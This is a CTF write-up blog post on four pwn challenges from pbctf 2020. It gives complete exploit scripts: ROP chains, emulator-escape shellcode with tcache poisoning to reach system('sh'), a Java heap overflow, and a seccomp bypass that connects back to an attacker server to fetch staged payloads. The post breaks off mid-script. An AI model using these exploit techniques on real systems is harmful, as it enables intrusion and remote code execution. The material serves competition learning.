pbctf 2020 Writeup

2020-12-09 20:01:18 Author: ptr-yudai.hatenablog.com
觉得文章还不错?,点我收藏



pbctf 2020 had been held from December 5th 00:00 UTC for 48 hours. I played it in zer0pts and we won the CTF🎉

f:id:ptr-yudai:20201209195739p:plain

I mainly worked on the pwn tasks. Every pwn task was very hard (except for Amazing ROP) and there were something to learn.

I really enjoyed the CTF. Thank you perfect blue and some members from Super Guesser(?) for hosting the amazing competition!

The tasks I solved are available here: bitbucket.org

[pwn 38pts] Amazing ROP (87 solves)

Description: Should be a baby ROP challenge. Just need to follow direction and get first flag.
Server: nc maze.chal.perfect.blue 1

We're given an x86 binary and its partial source code.

$ checksec -f bof.bin
RELRO           STACK CANARY      NX            PIE             RPATH      RUNPATH      Symbols         FORTIFY Fortified       Fortifiable  FILE
Full RELRO      No canary found   NX enabled    PIE enabled     No RPATH   No RUNPATH   162 Symbols     No      0               10      bof.bin

The vulnerability is an obvious buffer overflow. Moreover, the program shows us the stack dump.

$ nc maze.chal.perfect.blue 1
Do you want color in the visualization? (Y/n) Y

Legend: buff MODIFIED padding MODIFIED
  return addr MODIFIED secret MODIFIED CORRECT secret
0xfff3325c | 00 00 00 00 00 00 00 00 |
0xfff33264 | 00 00 00 00 00 00 00 00 |
0xfff3326c | 00 00 00 00 00 00 00 00 |
0xfff33274 | 00 00 00 00 00 00 00 00 |
0xfff3327c | ff ff ff ff ff ff ff ff |
0xfff33284 | ff ff ff ff ff ff ff ff |
0xfff3328c | ef be ad de 5c af 5a 56 |
0xfff33294 | 5c af 5a 56 a8 32 f3 ff |
0xfff3329c | 99 75 5a 56 c0 32 f3 ff |
0xfff332a4 | 00 00 00 00 00 00 00 00 |

Input some text: AAAABBBBCCCCDDDD

Legend: buff MODIFIED padding MODIFIED
  return addr MODIFIED secret MODIFIED CORRECT secret
0xfff3325c | 41 41 41 41 42 42 42 42 |
0xfff33264 | 43 43 43 43 44 44 44 44 |
0xfff3326c | 00 00 00 00 00 00 00 00 |
0xfff33274 | 00 00 00 00 00 00 00 00 |
0xfff3327c | ff ff ff ff ff ff ff ff |
0xfff33284 | ff ff ff ff ff ff ff ff |
0xfff3328c | ef be ad de 5c af 5a 56 |
0xfff33294 | 5c af 5a 56 a8 32 f3 ff |
0xfff3329c | 99 75 5a 56 c0 32 f3 ff |
0xfff332a4 | 00 00 00 00 00 00 00 00 |

Maybe you haven't overflowed enough characters? Try again?

Unfortunately the binary doesn't run on my machine but I don't need to test it locally. Only few system calls are enabled.

$ seccomp-tools dump ./bof.bin
 line  CODE  JT   JF      K
=================================
 0000: 0x20 0x00 0x00 0x00000004  A = arch
 0001: 0x15 0x00 0x07 0x40000003  if (A != ARCH_I386) goto 0009
 0002: 0x20 0x00 0x00 0x00000000  A = sys_number
 0003: 0x15 0x06 0x00 0x00000003  if (A == read) goto 0010
 0004: 0x15 0x05 0x00 0x00000004  if (A == write) goto 0010
 0005: 0x15 0x04 0x00 0x000000c5  if (A == fstat64) goto 0010
 0006: 0x15 0x03 0x00 0x0000002d  if (A == brk) goto 0010
 0007: 0x15 0x02 0x00 0x00000001  if (A == exit) goto 0010
 0008: 0x15 0x01 0x00 0x000000fc  if (A == exit_group) goto 0010
 0009: 0x06 0x00 0x00 0x80000000  return KILL_PROCESS
 0010: 0x06 0x00 0x00 0x7fff0000  return ALLOW

The source code suggests that we need to cause an interruption with register values set to the correct values.

// This is what you need to do to get the first flag
// void print_flag() {
//   asm volatile("mov $1, %%eax; mov $0x31337, %%edi; mov $0x1337, %%esi; int3" ::: "eax");
// }

Let's just write a simple ROP chain to cause the interruption.

from ptrlib import *

sock = Socket("nc maze.chal.perfect.blue 1")

sock.sendlineafter(") ", "Y")
sock.recvuntil("ef")
sock.recvuntil("de")
sock.recvline()
sock.recvline()
l = sock.recvline().split(b" ")
proc_base = int(l[5][7:9] + l[4][7:9] + l[3][7:9] + l[2][7:9], 16) - 0x1599
logger.info("proc = " + hex(proc_base))

rop_pop_eax_int3 = proc_base + 0x000013ad
rop_pop_esi_edi_ebp = proc_base + 0x00001396

payload = b"A" * 0x30 + p32(0x67616c66)
payload += b"A" * 0xc
payload += p32(rop_pop_esi_edi_ebp)
payload += p32(0x1337)
payload += p32(0x31337)
payload += p32(0x31337)
payload += p32(rop_pop_eax_int3)
payload += p32(1)
payload += p32(0x12345678)
sock.sendlineafter(": ", payload)

sock.interactive()

First blood!

...
0xff9c0b64 | 37 13 03 00 37 13 03 00 |

You did it! Congratuations!
Returning to address: 0x56607396
pbctf{hmm_s0mething_l00ks_off_w1th_th1s_s3tup}

[pwn 383pts] Pwnception (6 solves)

Description: I didn't trust any software to run my bf programs, so I wrote my own. But then I didn't trust the kernel to run my interpreter, so I wrote my own. But then I didn't trust anything to run my kernel, so I wrote my own.
Server: nc pwnception.chal.perfect.blue 1

The attachment includes many files, 3 of them are the target files: main, kernel, userland.

$ file main kernel userland
main:     ELF 64-bit LSB shared object, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 3.2.0, BuildID[sha1]=42faddfd491b862cc1e4f3dbe6cc16e243165e5e, stri
kernel:   data
userland: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), statically linked, stripped

It seems the binary is a brainf**k interpreter.

$ ./main ./kernel ./userland
Kernel has booted
Give me some bf (end with a !): ,.>,.>,.>,.!
abc
abc

Analysing the binaries, I found the following scheme:

  • main uses unicorn to implement an x86-64 emulator
  • kernel handles user-land segfault and interprets system calls issued by user-land
  • userland actually runs the bf interpreter

So, our goal is somehow escape from user-land to outside the emulator. Crazy. Anyway, let's find our the vulnerability.

My policy on solving a pwn challenge is "avoid reversing as much as possible" because I don't like reversing. I run my fuzzer on the user-land program and immediately found a crash. According to the crash log, it seemed that the bf interpreter didn't check the boundary of the tape. The memory is allocated on the stack and we can easily run an ROP chain. User-land part is done!

code  = ""
code += "-[>>>>>>>>--------------------------------]" # jmp before canary
code += ">" * 0x18  # move to ret addr
code += ",>" * len(rop)  # write rop chain

Secondly, we need to pwn the kernel. What the kernel does is really simple:

  • syscall_table[rax] is called when user-land program calls syscall instruction
  • read, write, open and exit are implemented
  • open doesn't actually open a file but just prints FILENAME cannot be opened

It was pretty easy to find out the vulnerability.

f:id:ptr-yudai:20201207150905p:plain

As you can see from the graph above, there lies an obvious stack overflow in open system call. Now, we can run a KROP in kernel-land, yay!

However, I used a bit easier (and perhaps unintended) way to pwn the kernel-land. Firstable, the address of the kernel-land stack page is fixed. So, we know where our (overflowed) input goes.

f:id:ptr-yudai:20201207151338p:plain

Secondly, the emulator hooks segfault handler for read, write and fetch operation in kernel-land. The permission of the stack is RW, which seems innocent at first glance.

f:id:ptr-yudai:20201207151555p:plain

However, there's no hook to check the permission of the memory. This makes the stack virtually executable! Since we know the address of the kernel stack, we can just run shellcode on the stack.

So, what kind of shellcode should we run on the kernel-land? Let's check the interface of emulator which interacts with the kernel.

Basically there are 3 ways the kernel can interact with the emulator:

  • out instruction
  • in instructiono
  • Interruption 0x70 and 0x71

out and in are used to write to and read from stdio. The curious part is the interruption handler. As far as I (partially) analysed the emulator, it's not used anywhere. Furthermore, the process of the handler is weird:

  • If interruption number is 0x70 and
    • If rax==0x9E && rdi==0x1002 then force user-land to change the value of FS register to the current rsi value (?)
    • If rax==0x0F then restore user-land registers from the current stack (?)
    • If rax==0x0A then call uc_mem_protect(uc, rdi, rsi, rdx&7)
    • If rax==0x09 then call uc_mem_map(uc, rdi, rsi, rdx&7)
  • If interruption number is 0x71 and
    • If rax==0 && ptr then runptr = malloc(rdi)
    • If rax==1 && ptr then call uc_mem_read(uc, rdi, ptr, rsi)
    • If rax==2 && ptr then call uc_mem_write(uc, rdi, ptr, rsi)
    • If rax==3 && ptr then call free(ptr)

Actually I don't know what the 0x70 interruption is for (perhaps for intended solution to run KROP) but the 0x71 interruption looks like a "babyheap" challenge. The way I abused the heap is pretty simple. I leaked the pointer of libunicorn from an uninitialized heap chunk and calculated libc base in the shellcode. After that, I just used a normal tcache poisoning tech by heap overflow.

This is my final exploit.

from ptrlib import *

remote = True

if remote:
    sock = Socket("nc pwnception.chal.perfect.blue 1")
else:
    sock = Socket("localhost", 1337)
    #sock = Process(["./main", "./kernel", "./userland"])

rop_ret = 0x00400122
rop_pop_rax = 0x00400121
rop_pop_rbx = 0x004008f4
rop_pop_r13 = 0x00400af7
rop_pop_rbp = 0x004001c8
rop_syscall = 0x00400cf2
rop_add_rsp_8 = 0x00400c45
rop_mov_rsi_rbx_call_r13 = 0x004008c0
rop_mov_edi_601068_jmp_rax = 0x004001bc
rop_mov_edi_ebp_mov_rdx_r12_mov_rsi_rbx_call_r13 = 0x004008bb
rop_mov_edx_ecx_mov_r10_r8_mov_r8_r9_mov_r9_prsp8_syscall = 0x00400d18
func_readline = 0x400295
func_printf = 0x40026e

rop = flat([
    rop_pop_r13,
    rop_add_rsp_8,
    # readline(buf, 0x10)
    rop_pop_rbx,
    0x200,
    rop_mov_rsi_rbx_call_r13,
    rop_pop_rax,
    func_readline,
    rop_mov_edi_601068_jmp_rax,

    # open(buf, 0) --> pwn kernel
    rop_pop_rbx,
    0,
    rop_mov_rsi_rbx_call_r13,
    rop_pop_rax,
    rop_ret,
    rop_mov_edi_601068_jmp_rax,
    rop_pop_rax,
    2, # SYS_open
    rop_syscall,

    0xffffffffdeadbeef
], map=p64)

# break *(0x555555554000 + 0x18b6)
# break *(0x555555554000 + 0x198a)
stager = nasm(f"""
mov r13, rsi
mov r12, rsp
sub sp, 0x810
; read(0, rsp-0x810, 0x800)
xor ecx, ecx
inc ecx
shl ecx, 11
mov rdi, rsp
mov rdx, rsi
rep insb
; goto rsp-0x810
mov rdi, rsp
jmp rdi
""", bits=64)
assert b'\x00' not in stager and b'!' not in stager
assert len(stager) < 0x48
kernel_rop  = b'\x90' * (0x48 - len(stager))
kernel_rop += stager
kernel_rop += p64(0xFFFF8801FFFFE000 - 0x50)
kernel_rop += b'!'

code  = ""
code += "-[>>>>>>>>--------------------------------]" # jmp before canary
code += ">" * 0x18  # move to ret addr
code += ",>" * len(rop)  # write rop chain
sock.sendafter(": ", code + "!")
sock.send(rop)
sock.send(kernel_rop)
sock.recvline()

if remote or not remote:
    libc = ELF("libc.so.6")
    libu = ELF("libunicorn.so.1")
    helper_write_eflags = libu.symbol("helper_cc_compute_all")
else:
    libc = ELF("/lib/x86_64-linux-gnu/libc-2.27.so")
    libu = ELF("/usr/lib/libunicorn.so.1")
    helper_write_eflags = libu.symbol("helper_write_eflags")

target = libc.symbol("__free_hook") - 8
offset = helper_write_eflags + 0x610000
offset2 = libc.symbol("system")

"""
break *(0x555555554000 + 0x1b0d) # malloc
break *(0x555555554000 + 0x1b3b) # read
break *(0x555555554000 + 0x1b58) # write
break *(0x555555554000 + 0x1bab) # free
"""

shellcode = nasm(f"""
; ptr = malloc(0xc8)
xor eax, eax
xor edi, edi
mov dil, 0xc8
int 0x71

; memcpy(stack, ptr, 0x20)
mov rdi, r12
xor esi, esi
mov sil, 0x20
mov al, 2
int 0x71

; free(ptr)
mov al, 3
int 0x71

; tcache poisoning
xor edx, edx
mov dl, {offset >> 16}
shl edx, 16
mov dx, {offset & 0xffff}
sub [r12 + 0x18], rdx
mov rdx, [r12 + 0x18]
xor ebx, ebx
mov bx, 0xfff
not rbx
and rdx, rbx
mov [r12], rdx
mov [r12 + 0x18], rdx
; nya-libc
xor edx, edx
mov dl, {target >> 16}
shl edx, 8
mov dl, {(target >> 8) & 0xff}
shl edx, 8
mov dl, {target & 0xff}
add [r12], rdx
; memcpy(ptr, stack, 0x20)
mov rdi, r12
xor esi, esi
mov sil, 0x20
mov al, 1
int 0x71

; ptr = malloc(0xc8)
xor eax, eax
xor edi, edi
mov dil, 0xc8
int 0x71
; ptr = malloc(0xc8)
int 0x71

; overwrite __free_hook
xor edx, edx
mov [r12], rdx
mov dl, 's'
mov [r12], dl
mov dl, 'h'
mov [r12+1], dl

mov rdx, [r12 + 0x18]
mov [r12 + 0x8], rdx
xor edx, edx
mov dl, {offset2 >> 16}
shl edx, 8
mov dl, {(offset2 >> 8) & 0xff}
shl edx, 8
mov dl, {offset2 & 0xff}
add [r12 + 0x8], rdx

; memcpy(ptr, stack, 0x10)
mov rdi, r12
xor esi, esi
mov sil, 0x10
mov al, 1
int 0x71

; free(ptr)
xor eax, eax
mov al, 3
int 0x71

hlt
""", bits=64)
shellcode += b'\x90' * (0x800 - len(shellcode))
sock.send(shellcode)

sock.interactive()

Yay!

$ python solve.py 
[+] __init__: Successfully connected to pwnception.chal.perfect.blue:1
[ptrlib]$ id
[ptrlib]$ uid=999(ctf) gid=999(ctf) groups=999(ctf)
cat /flag.txt
[ptrlib]$ pbctf{pwn1n6_fr0m_th3_b0770m_t0_th3_t0p}

[pwn 420pts] (Baby?) JHeap (4 solves)

Description: i'm a noob at Java Pwning... couldn't evn pwnz this simple Java chal from Google CTF :(. Maybe you can help take a look at this, lolz :P
Server: nc jheap.chal.perfect.blue 1

Java pwn... what? I'd never pwned java app but this one was a very good introduction to Java heap.

The program looks like a simple note service. Let's find the vulnerability.

Inside the static constructor of the JHeap class, it randomizes the heap. (Java doesn't randomize its heap region!)

  static {
    System.load(System.getProperty("java.home") + "/lib/libheap.so");
    for (int i = 0; i < 100; i++)
      spray.add(new char[(int)(Math.random() * 1337)]);
    for (int i = 0; i < arr.length; i++)
      arr[i] = new JHeap(i);
    for (int i = 0; i < 100; i++)
      spray.add(new char[(int)(Math.random() * 1337)]);
  }

Each JHeap instance is managed like this:

  public static void edit(int ind) { arr[ind].editThis(0x1337); }
  public static void delete(int ind) { arr[ind] = null; }
  public static void view(int ind) { arr[ind].viewThis(); }
  public static void leak(int ind) { arr[ind].flag = the_flag; }

The program of editThis method is written in JNI.

  // Read offset
  printf("Offset: ");
  fflush(stdout);
  readlen = read(0, numbuff, sizeof(numbuff) - 1);
  if (readlen <= 0)
    err(1, "read() failed");

  ......

  if (copied) errx(1, "Error! This was copied!");
  from_utf(tmp, readlen, data + offset * 2, readlen * 2 + 2);
  free(tmp);
  (*env)->ReleasePrimitiveArrayCritical(env, arr_data, data, 0);
}

I fuzzed the program and found it has a simple buffer overflow. This seems to be caused by the wrong conversion between UTF-8 and Unicode.

The structure of JHeap looks like this:

typedef struct {
  long X;
  int Y = class_id;
  int ind;
  String flag;
  char[] data;
} JHeap;

JHeap instance and it's data are lined up on memory in order and we can overwrite the adjacent JHeap instance. We have to make the pointer of data valid but we don't have any addresses yet.

My idea of the exploit is

  1. Spray fake char[] instances on heap
  2. Use the vuln to overwrite JHeap.data and make it point to one of the sprayed fake char[] instance
  3. View the victim data and it'll leak the memory (possibly including the address of the flag!)
  4. Use the vuln again to set JHeap.data to the pointer of the flag

Be noticed that the type of the flag is not char[] but String. We can solve this easily because String eventually has a pointer to char[], which exists at very close and fixed offset.

from ptrlib import *
import random

def edit(index, offset, data):
    sock.sendlineafter("> ", "0")
    sock.sendlineafter(": ", str(index))
    sock.sendlineafter(": ", str(offset))
    sock.sendafter(": ", data)
def view(index):
    sock.sendlineafter("> ", "1")
    sock.sendlineafter(": ", str(index))
    sock.recvline()
    sock.recvuntil(" = ")
    return sock.recvuntil("********")[:-9]
def leak(index):
    sock.sendlineafter("> ", "2")
    sock.sendlineafter(": ", str(index))
def subaction(action):
    sock.sendlineafter("> ", "3")
    sock.sendlineafter(": ", str(action))
def addrof(index): # my debug function
    sock.sendlineafter("> ", "4")
    sock.sendlineafter(": ", str(index))
    r = sock.recvregex("\((0x[0-9a-f]+)\) = char\[\] @ (0x[0-9a-f]+)")
    return int(r[0], 16), int(r[1], 16)
def utf8bytes(data):
    output = b''
    s = data.decode()
    for c in s:
        output += bytes([ord(c) % 0x100])
        output += bytes([ord(c) // 0x100])
    return output

#sock = Socket("nc localhost 1337")
sock = Socket("nc jheap.chal.perfect.blue 1")

logger.info("Collecting size info...")
sizelist = []
for i in range(48):
    sizelist.append(len(view(i)))

logger.info("Heap spary...")
base  = u"\u0001\u0000\u0000\u0000"
base += u"\u73f6\u0005\u0f1f\u0000" # id/size
base = base.encode()
for i in range(1, 48):
    payload = base * (sizelist[i] // len(base) - 1)
    payload += b"A" * (sizelist[i] - len(payload))
    edit(i, 0, payload)
    leak(i)

logger.info("Heap overflow")
pads = [0, -3, -2, -1]

for offset in range(0, 0x30000, 0x100):
    logger.info("Attempt @" + hex(0xffe5c820 + offset))
    payload  = u"A" * (sizelist[0] - 0x40 - pads[sizelist[0] % 4])
    payload += u"\u0005\u0000\u0000\u0000"
    payload += u"\u0829\u0000\u1234\u0000"
    payload += u"\u1234\u1234" # flag
    payload += chr(0xc820 + (offset%0x10000)) + chr(0xffe5 + (offset//0x1000))
    try:
        edit(0, 0x20, payload.encode())
    except:
        continue
    if view(1) != b'':
        break

    payload  = u"A" * (sizelist[0] - 0x40 - pads[sizelist[0] % 4])
    payload += u"\u0005\u0000\u0000\u0000"
    payload += u"\u0829\u0000\u1234\u0000"
    payload += u"\u1234\u1234" # flag
    payload += chr(0xc828 + (offset%0x10000)) + chr(0xffe5 + (offset//0x1000))
    try:
        edit(0, 0x20, payload.encode())
    except:
        continue
    if view(1) != b'':
        break

buf = utf8bytes(view(1))
for pos in range(0, len(buf), 8):
    if u64(buf[pos:pos+8]) == 5:
        index = u32(buf[pos+0xc:pos+0x10])
        flag = u32(buf[pos+0x10:pos+0x14])
        data = u32(buf[pos+0x14:pos+0x18])
        break
else:
    logger.warn("Bad luck!")
    exit(1)

logger.info("==== FOUND VICTIM ====")
logger.info("index = " + hex(index))
logger.info("flag = " + hex(flag))
logger.info("data = " + hex(data))

addr_flag = flag + 0x18
payload  = u"B" * (sizelist[index-1] - 0x40 - pads[sizelist[index-1] % 4])
payload += u"\u0005\u0000\u0000\u0000"
payload += u"\u0829\u0000\u4321\u0000"
payload += u"\u1234\u1234" # flag
payload += chr(addr_flag % 0x10000) + chr(addr_flag // 0x10000) # data
edit(index-1, 0x20, payload.encode())

print(utf8bytes(view(index)))

sock.interactive()

First blood!

$ python hoge.py 
[+] __init__: Successfully connected to jheap.chal.perfect.blue:1
[+] <module>: Collecting size info...
[+] <module>: Heap spary...
[+] <module>: Heap overflow
[+] <module>: Attempt @0xffe5c820
[+] <module>: ==== FOUND VICTIM ====
[+] <module>: index = 0x2b
[+] <module>: flag = 0xffe8fdc8
[+] <module>: data = 0xffe5cc78
b'pbctf{Java_pwnn1ng_1s_s00000_baby_right???:P_ab3vtv9fGH}\x05\x00\x00\x00\x00\x00\x00\x00\x15N\x04\[email protected]\xfe\xe8\xff\x00\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x009s\x05\x00\x13\x00\x00\x00java/io/PrintStr'

[pwn 420pts] Blacklist (4 solves)

Description: Last time, we were just kidding, about that program being unexploitable. This time we are 100% serious: it's totally safe because seccomp(TM) is(TM) SO(TM) secure(TM)! Anyways, I hid the flag in some random file under /flag_dir. I'll even give you our docker environment (sans flag, of course) to help you test out your exploit (of course totally, you'll soon find that the flag is so secure!) I am soooo generous!
Server: nc blacklist.chal.perfect.blue 1

The target program is really simple:

#include <fcntl.h>
#include <unistd.h>
#include <sys/prctl.h>
#include <sys/socket.h>

#include <linux/bpf_common.h>
#include <linux/seccomp.h>
#include <linux/audit.h>

void sandbox_so_you_cannot_shellcode(void);


int vuln() {
  char buff[8];
  read(0, buff, 100); // Is it enough for ROP... hmm...?

  // HAHA! Good luck with trying to getting flag!
  shutdown(0, SHUT_RDWR);
  close(0);
  close(1);
  close(2); 
}

int main() {
  sandbox_so_you_cannot_shellcode();
  vuln();
}

This is a 32-bit application and seccomp is enabled. Most of the system calls are banned but some of them are available.

The goal of this challenge is to find out the path of the flag located somewhere under /flag_dir. Luckily open, read, write and readdir are available. However, we have some problems:

  1. ROP chain must be less than or equals to 86 bytes
  2. shutdown(0, 2); close(0); close(1); close(2); before ROP runs
  3. The buffer address for open, read, write and readdir must be larger than 0x30000000

In order to resolve (1), we need to inject 2nd stage. However (2) prevents us from sending data again.

I listed up all of the available system calls.

restart_syscall
exit
read / write / open / close
time / stime / utime
chmod / lchown / fchmod / fchown / 
mount / umount / umount2 / chroot
setuid / getuid / setgid / geteuid / getegid / setreuid / setregid / getgroups / setgroups
gtty 
dup / dup2
pipe
acct
mpx
ustat
getppid / getpgrp
sethostname
setrlimit / getrlimit / getrusage
gettimeofday / settimeofday
swapon / swapoff
readdir
getpriority / setpriority
socketcall
syslog
setitimer / getitimer
olduname
iopl
vhangup
idle
vm86old
sysinfo

If you're familiar with linux system call, you'll immediately notice that socketcall is useful. (I happened to know this system call thanks to my university class!) This system call is an interface to most of the other socket-related system call. So, we can connect to our server and inject back the 2nd ROP stage.

Now, the hardest part of this challenge is to craft a small (less than 86 bytes!) ROP chain that connects to our server and reads 2nd ROP chain. My idea is to re-use a structure in memory which is similar to our desired ones. For example, assume you want to connect to 127.0.0.1.

struct sockaddr addr = { 0 };
addr.sin_family = AF_INET;
addr.sin_port = XXXX;
addr.sin_addr.s_addr = YYYY;
unsigned long *args = { fd, addr, 0x10 };
socketcall(SYS_CONNECT, args);

Then, you need to prepare an array and a struct:

  1. [fd, addr, 0x10] == 0x00000000 0xXXXXXXX 0x00000010
  2. { sin_family = AF_INET, sin_port = XXXX, sin_addr.s_addr = YYYY } == 0xXXXX0002 0xYYYYYYYY 0x00000000 0x00000000

I used gdb to find such structures in memory. To conclude, I used the following addresses for connect, client address, socket, and 2 recvs respectively.

arg_connect = 0x80dafc8 # _dl_main_map+552
mem_client  = 0x80da7ca # mp_+10
arg_socket  = 0x80d9c18 # tunable_list+664
arg_recv    = 0x80dace8 # _dl_correct_cache_id
arg_recv2   = 0x80dbbba # state+2

Each of them looks like this on memory:

pwndbg> x/3xw 0x80dafc8    # fd=0, addr=?, len=0x10
0x80dafc8 <_dl_main_map+552>:   0x00000000      0x080d86e0      0x00000010
pwndbg> x/4xw 0x80da7ca    # sin_family=AF_INET, sin_port=512, ip=?
0x80da7ca <mp_+10>:     0x00020002      0x00000000      0x00000000      0x00000000
pwndbg> x/3xw 0x80d9c18    # domain=AF_INET, type=SOCK_STREAM, protocol=0
0x80d9c18 <tunable_list+664>:   0x00000002      0x00000001      0x00000000
pwndbg> x/3xw 0x80dace8    # sockfd=3, addr=?, addrlen=0x1000
0x80dace8 <_dl_correct_cache_id>:       0x00000003      0x00000002      0x00001000
pwndbg> x/3xw 0x80dbbba    # sockfd=0, addr=?, addrlen=0xffe3
0x80dbbba <state+2>:    0x00000000      0x2efc0000      0x0000ffe3

This is the payload used to connect back to my server in the first stage. (Just 100 bytes!)

payload  = b'A' * 0x10
# saved ebp == ip address
payload += p32(0x4101a8c0) # 192.168.1.65

# socketcall(SYS_SOCKET, [AF_INET, SOCK_STREAM, 0])
payload += p32(rop_pop_ecx_ebx)
payload += p32(arg_socket)
payload += p32(1) # SYS_SOCKET
payload += p32(rop_pop_eax)
payload += p32(SYS_socketcall)
payload += p32(rop_int80)

# prepare args
# XXXX0002 <IPADDR> 00000000 00000000
payload += p32(rop_pop_edx)
payload += p32(mem_client + 4 - 0xc)
payload += p32(rop_mov_pedx0Ch_ebp_mov_pedx18h_eax)
payload += p32(rop_pop_eax)
payload += p32(mem_client)
payload += p32(rop_pop_edx_ecx_ebx)
payload += p32(arg_connect + 4)
payload += p32(arg_connect)
payload += p32(3) # SYS_CONNECT
payload += p32(rop_mov_pedx_eax)
# socketcall(SYS_CONNECT, [fd, &client, 0x10])
payload += p32(rop_pop_eax)
payload += p32(SYS_socketcall)
payload += p32(rop_int80)

# vuln again
payload += p32(addr_vuln)

Since the fd opened by SYS_SOCKET becomes 0, we can re-use the vuln fucntion (which originally tries to read input from stdin.)

Then, I bind a port in my server and wait for the connection.

with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as s:
    s.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
    s.bind(('0.0.0.0', 512))

    """
    STAGE 2: re-connect me
    """
    payload  = b'A' * 0x10
    payload += p32(addr_stage3) # saved ebp = stage3
    ...

This time, all the necessary structs (such as IP address) are already prepared on the memory. So, unlike the first payload, we don't need to prepare arguments for socket. Be noticed that we still have to re-connect back to our server since close(0) is called at the end of vuln function.

This way, we can grow our ROP chain and finally can inject a payload long enough to find the flag.

The last part, finding the flag, is just troublesome but pretty easy, so I'm not going to explain about the ROP. Basically I wrote two exploits for ls and cat, and combined them to create grep. This easy method is pretty slow compared to an ROP chain recursively finding the flag but mine did work within about 10min.

Here is my final exploit.

  1. Igniter (run this script forever)
from ptrlib import *

remote = True

SYS_socketcall = 0x66
rop_int80 = 0x0806fa30

arg_connect = 0x80dafc8 # _dl_main_map+552
mem_client  = 0x80da7ca # mp_+10
arg_socket  = 0x80d9c18 # tunable_list+664
addr_vuln   = 0x8048920

rop_pop_eax = 0x080a8dc6
rop_pop_ebx = 0x080481c9
rop_pop_edx = 0x0805c422
rop_pop_esi = 0x08049748
rop_pop_ebx_edx = 0x0806f0eb
rop_pop_ecx_ebx = 0x0806f112
rop_pop_edx_ecx_ebx = 0x0806f111

"""
0x0809026e: mov ecx, dword [edx+0x24] ; cmp ecx, dword [edx+0x28] ; cmove eax, ecx ; ret  ;  (1 found)
"""
rop_mov_pedx_eax = 0x08056e25
rop_mov_pebx_eax = 0x080a62e6
rop_mov_peax_edx = 0x0809d344
rop_mov_pedx0Ch_ebp_mov_pedx18h_eax = 0x0804e3a0

if remote:
    sock = Socket("nc blacklist.chal.perfect.blue 1")
else:
    #sock = Socket("localhost", 1337)
    sock = Process("./blacklist")

"""
STAGAE 1: connect to my server
"""
payload  = b'A' * 0x10
# saved ebp == ip address
if remote:
    payload += p32(0x????????)
else:
    payload += p32(0x4101a8c0) # 192.168.1.65
# socketcall(SYS_SOCKET, [AF_INET, SOCK_STREAM, 0])
payload += p32(rop_pop_ecx_ebx)
payload += p32(arg_socket)
payload += p32(1) # SYS_SOCKET
payload += p32(rop_pop_eax)
payload += p32(SYS_socketcall)
payload += p32(rop_int80)

# prepare args
# XXXX0002 <IPADDR> 00000000 00000000
payload += p32(rop_pop_edx)
payload += p32(mem_client + 4 - 0xc)
payload += p32(rop_mov_pedx0Ch_ebp_mov_pedx18h_eax)
payload += p32(rop_pop_eax)
payload += p32(mem_client)
payload += p32(rop_pop_edx_ecx_ebx)
payload += p32(arg_connect + 4)
payload += p32(arg_connect)
payload += p32(3) # SYS_CONNECT
payload += p32(rop_mov_pedx_eax)
# socketcall(SYS_CONNECT, [fd, &client, 0x10])
payload += p32(rop_pop_eax)
payload += p32(SYS_socketcall)
payload += p32(rop_int80)

# vuln again
payload += p32(addr_vuln)

sock.send(payload)

sock.close()
  1. ls
import socket
import time
import threading
import sys

if len(sys.argv) < 2:
    print("Usage: python3 ls.py <PATH>")
    exit(1)
else:
    TARGET = sys.argv[1].encode() + b'\x00'

def p32(data, byteorder='little', signed=False):
    return data.to_bytes(4, byteorder=byteorder, signed=signed)

SYS_write = 4
SYS_dup2 = 63
SYS_socketcall = 0x66
rop_int80 = 0x0806fa30

arg_connect = 0x80dafc8 # _dl_main_map+552
mem_client  = 0x80da7ca # mp_+10
arg_socket  = 0x80d9c18 # tunable_list+664
arg_recv    = 0x80dace8 # _dl_correct_cache_id
arg_recv2   = 0x80dbbba # state+2
addr_vuln   = 0x8048920
addr_stage3 = 0x80d8000
addr_dup    = 0x806d360
addr_path   = addr_stage3 + 0x1000
addr_write  = 0x806d000
libc_stack_end = 0x80d9da8

rop_pop_eax = 0x080a8dc6
rop_pop_ebx = 0x080481c9
rop_pop_edx = 0x0805c422
rop_pop_esi = 0x08049748
rop_pop_ebx_edx = 0x0806f0eb
rop_pop_ecx_ebx = 0x0806f112
rop_pop_edx_ecx_ebx = 0x0806f111
rop_pop_eax_edx_ebx = 0x080562f4
rop_leave = 0x080487b5

rop_mov_pedx_eax = 0x08056e25
rop_mov_pebx_eax = 0x080a62e6
rop_mov_peax_edx = 0x0809d344
rop_mov_pedx0Ch_ebp_mov_pedx18h_eax = 0x0804e3a0
rop_mov_ecx_pedx24h_cmp_ecx_pedx28h_cmove_eax_ecx = 0x0809026e

jmp_p_ebx_eax4_1080h = 0x0808c242 # jmp dword[ebx+eax*4-0x1080]

def receiver(s):
    conn, addr = s.accept()
    conn.send(TARGET) # path
    for i in range(40):
        data = conn.recv(0x40)
        size = int.from_bytes(data[8:10], 'little')
        print(data[10:10+size].decode())
    conn.close()

with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as s:
    s.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
    s.bind(('0.0.0.0', 512))

    """
    STAGE 2: re-connect me
    """
    payload  = b'A' * 0x10
    payload += p32(addr_stage3) # saved ebp = stage3
    # socketcall(SYS_SOCKET, [AF_INET, SOCK_STREAM, 0])
    payload += p32(rop_pop_ecx_ebx)
    payload += p32(arg_socket)
    payload += p32(1) # SYS_SOCKET
    payload += p32(rop_pop_eax)
    payload += p32(SYS_socketcall)
    payload += p32(rop_int80)
    # socketcall(SYS_CONNECT, [fd, &client, 0x10])
    payload += p32(rop_pop_ecx_ebx)
    payload += p32(arg_connect)
    payload += p32(3) # SYS_CONNECT
    payload += p32(rop_pop_eax)
    payload += p32(SYS_socketcall)
    payload += p32(rop_int80)
    # dup2(0, 3)
    payload += p32(rop_pop_ecx_ebx)
    payload += p32(3)
    payload += p32(0)
    payload += p32(rop_pop_eax)
    payload += p32(SYS_dup2)
    payload += p32(rop_int80)
    # vuln again
    payload += p32(addr_vuln)
    payload += b'A' * (100 - len(payload))
    s.listen(1)
    conn, addr = s.accept()
    #input("[+] Stage 2")
    conn.send(payload)
    conn.close()

    """
